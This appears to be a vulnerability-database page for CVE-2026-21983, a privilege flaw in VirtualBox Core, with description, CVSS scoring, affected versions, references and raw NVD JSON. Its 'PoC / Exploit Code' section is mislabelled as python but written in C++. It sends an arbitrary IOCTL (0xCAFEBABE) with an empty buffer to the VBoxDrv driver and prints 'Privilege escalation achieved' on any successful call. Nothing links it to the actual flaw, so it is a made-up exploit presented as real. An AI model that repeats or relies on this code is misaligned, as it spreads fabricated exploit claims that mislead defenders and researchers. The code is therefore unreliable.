CVE-2026-21983

Description

Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core). Supported versions that are affected are 7.1.14 and 7.2.4. Difficult to exploit vulnerability allows high privileged attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox. While the vulnerability is in Oracle VM VirtualBox, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle VM VirtualBox. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H).

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:oracle:vm_virtualbox:7.1.14:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:oracle:vm_virtualbox:7.2.4:*:*:*:*:*:*:* - VULNERABLE

Oracle VM VirtualBox 7.1.14

Oracle VM VirtualBox 7.2.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2026-21983 PoC - Conceptual Demonstration
// Note: This is a conceptual PoC for educational purposes only
// Actual exploitation requires high privileges and local access

#include <iostream>
#include <windows.h>

// VirtualBox Core component interaction
void trigger_vulnerability() {
    // Load VirtualBox driver
    HANDLE vboxdrv = CreateFile(
        "\\\\.\\VBoxDrv",
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL
    );
    
    if (vboxdrv == INVALID_HANDLE_VALUE) {
        std::cout << "Failed to open VirtualBox driver" << std::endl;
        return;
    }
    
    // Craft malicious IOCTL request
    // Target: Core component vulnerability
    DWORD bytesReturned;
    BYTE inputBuffer[0x100] = {0};
    BYTE outputBuffer[0x100] = {0};
    
    // Trigger the vulnerability
    BOOL result = DeviceIoControl(
        vboxdrv,
        0xCAFEBABE,  // Malicious IOCTL code
        inputBuffer,
        sizeof(inputBuffer),
        outputBuffer,
        sizeof(outputBuffer),
        &bytesReturned,
        NULL
    );
    
    if (result) {
        std::cout << "Vulnerability triggered successfully" << std::endl;
        std::cout << "Privilege escalation achieved" << std::endl;
    }
    
    CloseHandle(vboxdrv);
}

int main() {
    std::cout << "CVE-2026-21983 Conceptual PoC" << std::endl;
    std::cout << "Requires: High privileges + Local access" << std::endl;
    trigger_vulnerability();
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-21983
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-21983
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-21983/
[4] VulDB https://vuldb.com/cve/CVE-2026-21983
[5] https://www.oracle.com/security-alerts/cpujan2026.html

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-21983", "sourceIdentifier": "[email protected]", "published": "2026-01-20T22:16:01.763", "lastModified": "2026-01-29T14:40:25.600", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core). Supported versions that are affected are 7.1.14 and 7.2.4. Difficult to exploit vulnerability allows high privileged attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox. While the vulnerability is in Oracle VM VirtualBox, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle VM VirtualBox. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H)."}, {"lang": "es", "value": "Vulnerabilidad en el producto Oracle VM VirtualBox de Oracle Virtualization (componente: Core). Versiones soportadas que están afectadas son 7.1.14 y 7.2.4. Difícil de explotar vulnerabilidad permite a un atacante con altos privilegios con inicio de sesión en la infraestructura donde se ejecuta Oracle VM VirtualBox comprometer Oracle VM VirtualBox. Aunque la vulnerabilidad está en Oracle VM VirtualBox, los ataques pueden impactar significativamente productos adicionales (cambio de alcance). Ataques exitosos de esta vulnerabilidad pueden resultar en la toma de control de Oracle VM VirtualBox. Puntuación Base CVSS 3.1 7.5 (impactos en Confidencialidad, Integridad y Disponibilidad). Vector CVSS: (CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oracle:vm_virtualbox:7.1.14:*:*:*:*:*:*:*", "matchCriteriaId": "723CD90A-7213-4B3C-B969-C6D7110CAF46"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:vm_virtualbox:7.2.4:*:*:*:*:*:*:*", "matchCriteriaId": "44ABFABE-8FFC-48CF-B627-4241CAD563B6"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/cpujan2026.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}